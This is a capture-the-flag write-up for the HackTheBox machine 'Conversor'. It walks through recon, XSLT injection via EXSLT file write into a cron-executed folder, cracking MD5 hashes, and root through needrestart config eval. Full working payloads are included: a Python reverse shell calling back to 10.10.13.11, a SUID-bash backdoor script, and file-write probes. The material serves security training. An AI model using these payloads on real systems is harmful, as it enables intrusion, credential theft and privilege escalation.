RECON

Port Scan

$ rustscan -a $targetIp --ulimit 2000 -r 1-65535 -- -A sS -Pn

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ9JqBn+xSQHg4I+jiEo+FiiRUhIRrVFyvZWz1pynUb/txOEximgV3lqjMSYxeV/9hieOFZewt/ACQbPhbR/oaE=
|   256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIR1sFcTPihpLp0OemLScFRf8nSrybmPGzOs83oKikw+
80/tcp open  http    syn-ack Apache httpd 2.4.52
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://conversor.htb/
Service Info: Host: conversor.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

The target vhost is conversor.htb, fronted by Apache 2.4.52 over HTTP. SSH is exposed on port 22 for remote logon after harvesting creds. A classic Linux setup.

Web App

Accessing the root domain drops us straight into /login — a minimal registration portal. Once inside, we're greeted by a utility masquerading as a harmless XML-to-HTML converter, but we know better. This thing consumes user-supplied XSLT to prettify Nmap XML — a risky combination if mishandled:

htb_conversor_1

The UI exposes two upload fields (xml_file, xslt_file) and posts a multipart form to /convert. Static assets live under /static (e.g., nmap.xslt template). On success the server applies the uploaded XSLT to the uploaded XML and returns the transformed result for viewing or download.

Bonus: /about casually offers up source code for download:

htb_conversor_5

We're looking at a white-box attack surface with a ripe XML/XSLT injection vector just begging to be exploited.

WEB

XSLT

Overview

XSLTXtensible Stylesheet Language Transformations — is an XML-driven language used to morph XML into other formats: HTML, plain text, even more XML.

Think of it as a server-side templating engine. When user-controlled, it behaves like SSTI on steroids.

For reference, see this live example demonstrating how .xml and .xslt files interact.

The application helpfully drops a baseline stylesheet at http://conversor.htb/static/nmap.xslt:

XSL
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="html" indent="yes" />

  <xsl:template match="/">
    <html>
      <head>
        <title>Nmap Scan Results</title>
        <style>
          ...
        </style>
      </head>
      <body>
        <h1>Nmap Scan Report</h1>
        <h3><xsl:value-of select="nmaprun/@args"/></h3>

        <xsl:for-each select="nmaprun/host">
          <div class="card">
            <div class="host-header">
              Host: <span class="ip"><xsl:value-of select="address[@addrtype='ipv4']/@addr"/></span>
              <xsl:if test="hostnames/hostname/@name">
                (<xsl:value-of select="hostnames/hostname/@name"/>)
              </xsl:if>
            </div>
            <table>
              <tr>
                <th>Port</th>
                <th>Protocol</th>
                <th>Service</th>
                <th>State</th>
              </tr>
              <xsl:for-each select="ports/port">
                <tr>
                  <td><xsl:value-of select="@portid"/></td>
                  <td><xsl:value-of select="@protocol"/></td>
                  <td><xsl:value-of select="service/@name"/></td>
                  <td>
                    <xsl:attribute name="class">
                      <xsl:value-of select="state/@state"/>
                    </xsl:attribute>
                    <xsl:value-of select="state/@state"/>
                  </td>
                </tr>
              </xsl:for-each>
            </table>
          </div>
        </xsl:for-each>
      </body>
    </html>
  </xsl:template>
</xsl:stylesheet>

To validate structure compatibility, we craft a test .xml matching the above tags:

XML
<?xml version="1.0"?>
<nmaprun args="nmap -sV -oX output.xml 10.0.0.5">
  <host>
    <status state="up"/>
    <address addr="10.0.0.5" addrtype="ipv4"/>
    <hostnames>
      <hostname name="target.local"/>
    </hostnames>
    <ports>
      <port protocol="tcp" portid="22">
        <state state="open"/>
        <service name="ssh"/>
      </port>
      <port protocol="tcp" portid="80">
        <state state="open"/>
        <service name="http"/>
      </port>
    </ports>
  </host>
</nmaprun>

The result: a clean, styled HTML output:

htb_conversor_2

But here's the kicker — the app accepts arbitrary user-supplied XSLT. That means attacker-controlled transformation logic. If the engine supports it, features like document() or external includes (xsl:include) can be weaponized into file read, SSRF, or even RCE, depending on backend configuration.

Attack Vectors

Crucial constructs and primitives available in XSLT 1.0:

  • <xsl:template match="..."> — Defines transformation rules.
  • <xsl:value-of select="..."/> — Extracts XPath-evaluated node values.
  • document() — Loads and parses external XML (via file://, http://) → SSRF & LFI risk.
  • xsl:import / xsl:include — Pulls in remote stylesheets.
  • Extension functions — Some XSLT processors (e.g., Xalan, Saxon, or .NET) allow dangerous native bindings.

See detailed payloads on HackTricks - XSLT Injection.

Initial Probe

To isolate and test the injection vector, we dummy the XML:

Bash
echo '<root/>' > dummy.xml

Fingerprint

Then, upload a probing .xslt payload to fingerprint the backend processor. Example: XSLT Fingerprint PoC:

XML
<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
 Version: <xsl:value-of select="system-property('xsl:version')" /><br />
 Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
 Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
 <xsl:if test="system-property('xsl:product-name')">
 Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:product-version')">
 Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:is-schema-aware')">
 Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:supports-serialization')">
 Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:supports-backwards-compatibility')">
 Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
 </xsl:if>
</xsl:template>
</xsl:stylesheet>

Server responds:

htb_conversor_3

It tells us exactly what engine the server uses and, therefore, what attack surface we can reasonably expect:

  • Version: 1.0 → XSLT 1.0 (so libxslt/xsltproc feature set).
  • Vendor: libxslt & Vendor URL: http://xmlsoft.org/XSLT/ → the server runs libxslt (the common C library).

So, libxslt supports document() and will usually allow file:// and http:// URIs unless the application has explicitly sandboxed or disabled external access.

LFR / SSRF

We begin the offensive by probing for local file read (LFR) and server-side request forgery (SSRF) via user-supplied XSLT.

Hacktricks drops a tempting PoC using unparsed-text():

XSL
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
                xmlns:abc="http://php.net/xsl"
                version="1.0">
  <xsl:template match="/">
    <xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
  </xsl:template>
</xsl:stylesheet>

But there's a catch: unparsed-text() is XSLT 2.0+, and our target engine is locked to XSLT 1.0, powered by libxslt. So we cannot use the PoC directly.

In XSLT 1.0, we can try the document() function. It fetches and parses external resources — from both file:// and http:// URIs. That gives us classic LFR and SSRF vectors... if the backend allows resolution.

We craft a payload to probe for both:

XSL
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="html" encoding="UTF-8"/>
  <xsl:template match="/">
    <html><body>
      <h2>LFR probe results</h2>

      <h3>/etc/passwd</h3>
      <pre><xsl:for-each select="document('file:///etc/passwd')"><xsl:value-of select="."/></xsl:for-each></pre>
        
      <h2>SSRF probe results</h2>
      <h3>127.0.0.1:80</h3>
      <pre><xsl:for-each select="document('http://127.0.0.1:80/')"><xsl:value-of select="."/></xsl:for-each></pre>

    </body></html>
  </xsl:template>
</xsl:stylesheet>

Clean error across the board:

htb_conversor_4

Cannot resolve URI — the message is consistent. Whether file or HTTP, the resolution fails silently. We've hit a containment line. libxslt is present, but external resource resolution is sandboxed or explicitly disabled.

Black-box probing ends here.

Code Review

After pulling down and unpacking source_code.tar.gz, the directory layout gives us a bird's-eye view of the stack:

$ md src

$ tar xvaf source_code.tar.gz -C src

$ tree src
src
├── app.py
├── app.wsgi
├── install.md
├── instance
│   └── users.db
├── scripts
├── static
│   ├── images
│   │   ├── arturo.png
│   │   ├── david.png
│   │   └── fismathack.png
│   ├── nmap.xslt
│   └── style.css
├── templates
│   ├── about.html
│   ├── base.html
│   ├── index.html
│   ├── login.html
│   ├── register.html
│   └── result.html
└── uploads

7 directories, 15 files

The application is written in Flask, backed by a local SQLite3 database (users.db). The main logic resides in app.py.

app.py

The core functionality is compact and easily audited. Here's what stands out:

Python
app = Flask(__name__)
app.secret_key = 'Changemeplease'  # weak static key

DB_PATH = '/var/www/conversor.htb/instance/users.db'
UPLOAD_FOLDER = os.path.join(BASE_DIR, 'uploads')
os.makedirs(UPLOAD_FOLDER, exist_ok=True)

Default secret key? Check. MD5-hashed passwords? Also check:

Python
password = hashlib.md5(request.form['password'].encode()).hexdigest()

If we ever leak the database, cracking user creds will be effortless.

The vulnerable heart lies in /convert:

Python
@app.route('/convert', methods=['POST'])
def convert():
    if 'user_id' not in session:
        return redirect(url_for('login'))
    xml_file = request.files['xml_file']
    xslt_file = request.files['xslt_file']
    ...
    xml_path = os.path.join(UPLOAD_FOLDER, xml_file.filename)
    xslt_path = os.path.join(UPLOAD_FOLDER, xslt_file.filename)
    xml_file.save(xml_path)
    xslt_file.save(xslt_path)
    ...
    xml_tree = etree.parse(xml_path, parser)
    xslt_tree = etree.parse(xslt_path)
    transform = etree.XSLT(xslt_tree)
    result_tree = transform(xml_tree)

Two major flaws emerge:

  • Unvalidated file names: Both xml_file.filename and xslt_file.filename are joined into the filesystem path directly → classic path traversal, leading to arbitrary file write under uploads/.
  • XSLT injection: User-supplied XSLT passed to lxml.etree.XSLT() — already confirmed exploitable in theory.

However, our earlier probes hit a wall due to a hardened parser setup:

Python
parser = etree.XMLParser(
    resolve_entities=False, 
    no_network=True, 
    dtd_validation=False, 
    load_dtd=False
)

No XXE, no external entity resolution — the reason why our previous LFR/SSRF probes failed.

install.md

Inside install.md, buried beneath deployment instructions, lies the real jackpot:

Markdown
To deploy Conversor, we can extract the compressed file:

"""
tar -xvf source_code.tar.gz
"""

We install flask:

"""
pip3 install flask
"""

We can run the app.py file:

"""
python3 app.py
"""

You can also run it with Apache using the app.wsgi file.

If you want to run Python scripts (for example, our server deletes all files older than 60 minutes to avoid system overload), you can add the following line to your /etc/crontab.

"""
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done
"""

Every minute, the system executes any *.py script inside /var/www/conversor.htb/scripts/ as the www-data user. That's a low-priv shell trigger — if we can drop arbitrary Python code into that folder, it gets executed automatically.

Exploit

Now we are clear on the victim setup:

  • A direct file read via document() is blocked — hardened XMLParser config.
  • But if we can manage a file write under /var/www/conversor.htb/scripts/ with a malicious Python script, we can achieve RCE.

The goal now is clear: bypass parser restrictions and achieve arbitrary file write into that cron-monitored path.

Extension Element

Fortunately, the parser restrictions stop at parsing — they don't touch the transformation phase. And that's where XSLT Extension Elements come into play: a lesser-known, yet incredibly potent bypass.

According to the XSLT 1.0 spec, we can define custom namespaces inside a stylesheet, allowing the processor to interpret unknown tags using registered handlers. In real terms:

  • XSLT defines standard tags like <xsl:template>, <xsl:value-of>, etc.
  • Processors like libxslt, Saxon, or Python's lxml allow custom extension elements and functions.
  • These are linked to handlers written in native code — C, Python, Java — giving them unfiltered access to the host environment.

The exploit mechanic:

A malicious XSLT declares a custom namespace:

extension-element-prefixes="axura"

That single line tells the processor:

When you see elements in the axura prefix/namespace, treat them as extension instructions — call their special handler.

And here's the weaponized scaffold:

XSL
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
    version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:axura="https://4xura.com/xsl-ext"
    extension-element-prefixes="axura">
  <xsl:template match="/">
      
    <axura:payload/>
      
  </xsl:template>
</xsl:stylesheet>

When the engine encounters <axura:payload>, it skips normal transformation and hands off execution to the registered handler — which, in the case of lxml, can be arbitrary Python.

If the backend hasn't restricted these extension bindings, this bypasses every parser-level security control.

EXSLT

So how do we actually write a file to /var/www/conversor.htb/scripts/?

Previously, we crafted a custom namespace (axura) and referenced https://4xura.com/xsl-ext — implying the engine would fetch and resolve external handler logic. But this is HackTheBox — no outbound Internet. That approach dies in the sandbox.

Instead, we pivot to a universal solution: EXSLT.

EXSLT is a community-driven set of standardized XSLT extension elements and functions — a kind of “standard library for XSLT” — built to fill gaps in the core language. It's structured into modules (Common, Math, Sets, Dates, etc.), and processors like libxslt often support them natively.

The golden payload here is exsl:document, which turns Stylesheets Into shellcode Droppers.

The document() here, differentiate from the previous one in XSLT 1.0 docs, allows a stylesheet to output extra files in addition to the primary transformation. It accepts:

  • href → absolute or relative path to write.
  • method → serialization format (text, html, xml).
  • Element content → the file's body.

This means we can embed a payload inside a .xslt, and when it runs, it writes a new file to disk — no document() trickery, no Internet, just pure extension magic.

Example: Writing a Python payload into cron territory.

XSL
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
  version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exsl="http://exslt.org/common"
  extension-element-prefixes="exsl">

  <xsl:template match="/">
    <exsl:document href="/var/www/conversor.htb/scripts/poc.py" method="text">
      Malicious Python Script
    </exsl:document>
  </xsl:template>
</xsl:stylesheet>

If the backend's libxslt has EXSLT support enabled and unrestricted, this will succeed — silently dropping a shell, command, or backdoor into the scripts/ folder, where cron picks it up and executes it within 60 seconds.

PoC

To confirm EXSLT write capability, we craft a minimalist PoC. The idea: write a marker file (exslt_probe.txt) into /static/ — a readable path served by the webserver.

Payload: exslt_write_probe.xslt

XSL
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exsl="http://exslt.org/common"
  extension-element-prefixes="exsl">
  <xsl:output method="html" encoding="UTF-8"/>

  <xsl:template match="/">
    <!-- Write proof to webroot -->
    <exsl:document href="/var/www/conversor.htb/static/exslt_probe.txt" method="text"><![CDATA[
EXSLT_WRITE_OK
]]></exsl:document>

    <!-- Visible confirmation in output -->
    <html><body><h2>Probe submitted</h2><p>Check /static/exslt_probe.txt</p></body></html>
  </xsl:template>
</xsl:stylesheet>

Upload it with any dummy XML, and if the engine honors exsl:document, the file gets dropped — like so:

htb_conversor_6

Confirm success by fetching the file directly:

htb_conversor_7

EXSLT confirmed active. File write confirmed. Attack path confirmed.

RCE

Now that we've confirmed EXSLT is fully operational, it's time to detonate.

Plan of attack:

Write a malicious Python script to /var/www/conversor.htb/scripts/ and let the cronjob execute it automatically as www-data.

This .xslt uses exsl:document to write a live reverse shell:

XSL
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exsl="http://exslt.org/common"
  extension-element-prefixes="exsl">
  <xsl:output method="html" encoding="UTF-8"/>

  <xsl:template match="/">
    <!-- Drop a Python reverse shell into the cron-monitored scripts/ folder -->
    <exsl:document href="/var/www/conversor.htb/scripts/xpl.py" method="text">
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.13.11",60001))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty; pty.spawn("sh")
    </exsl:document>

    <!-- Visible output to confirm transform ran -->
    <html><body><h2>Exploit succeeds</h2><p>Check listener</p></body></html>
  </xsl:template>
</xsl:stylesheet>

Start a listener in advance, upload the crafted XSLT with a dummy XML file. Wait until we catch a callback from www-data:

htb_conversor_8

Reverse shell caught.

USER

Earlier, we noted that app.py uses insecure MD5 hashing for user passwords and stores them inside. Now that we've achieved code execution as www-data, dumping that database is trivial.

$ sqlite3 users.db
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.

sqlite> .tables
files  users

sqlite> select * from users;
1|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec
5|axura|96e79218965eb72c92a549dd5a330112

Run the hashes through john using a classic wordlist:

$ john --wordlist=~/wordlists/rockyou.txt hashes.txt --format=Raw-MD5

Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
Keepmesafeandwarm (?)
1g 0:00:00:00 DONE (2025-10-25 23:59) 2.222g/s 24384Kp/s 24384Kc/s 24384KC/s Keisean1..Keeperhut141
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed

Attempt SSH login with the cracked credentials fismathack / Keepmesafeandwarm:

htb_conversor_9

User flag captured.

ROOT

Sudo

Privilege escalation here is clean-cut and trivial.

fismathack@conversor:~$ sudo -l
Matching Defaults entries for fismathack on conversor:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User fismathack may run the following commands on conversor:
    (ALL : ALL) NOPASSWD: /usr/sbin/needrestart

needrestart is a Perl-based binary with root privileges:

fismathack@conversor:~$ file /usr/sbin/needrestart
/usr/sbin/needrestart: Perl script text executable

We now have read access, sudo execution, and a wide attack surface (~1471 lines of Perl code):

fismathack@conversor:~$ cat /usr/sbin/needrestart | wc -c
43578

fismathack@conversor:~$ cat /usr/sbin/needrestart | wc -l
1471

Perl Exploit

Instead of manually reviewing 1.4k lines, in this writeup let me bring in an exploit strategy for Perl with perlcritic, a linter for security and idiomatic flaws.

First take a look into its help manual:

fismathack@conversor:~$ sudo needrestart --help

needrestart 3.7 - Restart daemons after library updates.

Authors:
  Thomas Liske <[email protected]>

Copyright Holder:
  2013 - 2022 (C) Thomas Liske [http://fiasko-nw.net/~thomas/]

Upstream:
  https://github.com/liske/needrestart

This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

Usage:

  needrestart [-vn] [-c <cfg>] [-r <mode>] [-f <fe>] [-u <ui>] [-(b|p|o)] [-klw]

    -v          be more verbose
    -q          be quiet
    -m <mode>   set detail level
        e       (e)asy mode
        a       (a)dvanced mode
    -n          set default answer to 'no'
    -c <cfg>    config filename
    -r <mode>   set restart mode
        l       (l)ist only
        i       (i)nteractive restart
        a       (a)utomatically restart
    -b          enable batch mode
    -p          enable nagios plugin mode
    -o          enable OpenMetrics output mode, implies batch mode, cannot be used simultaneously with -p
    -f <fe>     override debconf frontend (DEBIAN_FRONTEND, debconf(7))
    -t <seconds> tolerate interpreter process start times within this value
    -u <ui>     use preferred UI package (-u ? shows available packages)

  By using the following options only the specified checks are performed:
    -k          check for obsolete kernel
    -l          check for obsolete libraries
    -w          check for obsolete CPU microcode

    --help      show this help
    --version   show version information

We discover that needrestart is an open-source project hosted on GitHub. The latest available version is 3.11, while the victim machine runs version 3.7 — a potentially outdated and unaudited build.

Rather than manually combing through nearly 1500 lines of Perl, we apply perlcritic, a static analyzer purpose-built to uncover idiomatic flaws and unsafe patterns in Perl scripts. Perfect for surfacing classic issues like unsafe open(), dynamic eval, or shell command injection.

Clone the exact version used by the victim:

Bash
git clone --branch v3.7 --single-branch --depth 1 https://github.com/liske/needrestart.git

Install perlcritic if you haven't owned yet:

Bash
curl -L https://cpanmin.us | perl - --sudo App::cpanminus
sudo cpanm --notest Perl::Critic

Run the scan:

Bash
perlcritic --severity 5 ./needrestart

The punchline:

htb_conversor_10

eval on user-supplied config file:

  • “Expression form of eval” around line ~220 in needrestart
  • “Two-argument open used” at line ~222

That's exactly the pattern of: open the -c <cfg> file → eval its contents.

Review on the specific code lines:

fismathack@conversor:~$ sed -n '210,230p' /usr/sbin/needrestart

# slurp config file
print STDERR "$LOGPREF eval $opt_c\n" if($nrconf{verbosity} > 1);
eval do {
    local $/;
    open my $fh, $opt_c or die "ERROR: $!\n";
    my $cfg = <$fh>;
    close($fh);
    $cfg;
};
die "Error parsing $opt_c: $@" if($@);
  • local $/; — sets the input record separator to undef inside this block, so the next <$fh> slurps the entire file in one go.
  • open my $fh, $opt_c — opens the file we pass with -c <file>. No sanitization, just “read whatever this path is”.
  • my $cfg = <$fh>; — reads all bytes of that file into $cfg.
  • The killer move: the block returns $cfg; and that return value is fed to eval. In Perl, eval STRING executes Perl code contained in that string.
  • If parsing/execution throws, it bubbles via $@ and they die with “Error parsing …”.

This is a textbook case of Perl config injection. The moment we invoke:

Bash
sudo needrestart -c /path/to/malicious.pl

…it gets executed before any logic in needrestart runs. No escaping. No filters.

In Perl, many tools load config with do $file or eval—both execute Perl. perlcritic flag “Expression form of eval” confirms the execution path.

Write a minimal backdoor for installing an suid bash:

Bash
cat > /dev/shm/pwn.pl <<'PL'
use strict; use warnings;
unlink '/usr/local/bin/bsh';
system('/usr/bin/install','-m','04755','/bin/bash','/usr/local/bin/bsh');
1;
PL

Run needrestart as root and print a debug line that we can inspect the trigger clearly:

Bash
sudo needrestart -c /dev/shm/pwn.pl -r l -v

We see the eval occurs immediately while parsing options/config — before any restart checks:

htb_conversor_11

SUID bash planted:

htb_conversor_12

Rooted.